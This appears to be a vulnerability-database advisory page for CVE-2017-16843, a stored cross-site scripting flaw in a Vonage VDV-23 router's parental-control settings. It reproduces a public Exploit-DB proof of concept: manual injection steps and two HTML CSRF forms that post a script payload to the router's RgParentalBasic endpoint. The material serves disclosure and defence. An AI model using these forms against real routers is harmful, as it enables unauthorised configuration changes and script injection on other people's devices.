CVE-2017-16843

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Published 2017-11-16 · Modified 2026-05-13

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CVSS v3

5.4

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CVSS v4 NEW

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not yet in upstream

VIR risk

6.4

Description

Vonage VDV-23 115 3.2.11-0.9.40 devices have stored XSS via the NewKeyword or NewDomain field to /goform/RgParentalBasic.

Predictions

Exploit likelihood

64%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43150 webapps hardware text · 3 KB

Nu11By73 · 2017-11-16

Vonage VDV23 - Cross-Site Scripting

text exploit Source: Exploit-DB

# Exploit Title: Vonage Home Router – Stored Xss
# Date: 16/11/2017
# Exploit Author: Nu11By73
# Hardware Version: VDV-23: 115
# Software Version: 3.2.11-0.9.40
# CVE : CVE-2017-16843



NewKeyword Parameter:

1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these keywords text box enter: test”><script>alert(1)</script>
5. Click the add keyword button to receive the pop up. 


NewDomain Parameter:

1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these websites text box enter: test”><script>alert(1)</script>
5. Click the add domain button to receive the pop up.

Proof of concept code:

NewDomain.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="" / >
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" />
<input type="hidden" name="x" value="50" />
<input type="hidden" name="y" value="15" />
<input type="hidden" name="DomainAction" value="1" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Exploit" />
</form>
</html>

NewKeyword.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / >
<input type="hidden" name="x" value="61" />
<input type="hidden" name="y" value="12" />
<input type="hidden" name="KeywordAction" value="1" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Enable Service" />
</form>
</html>

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

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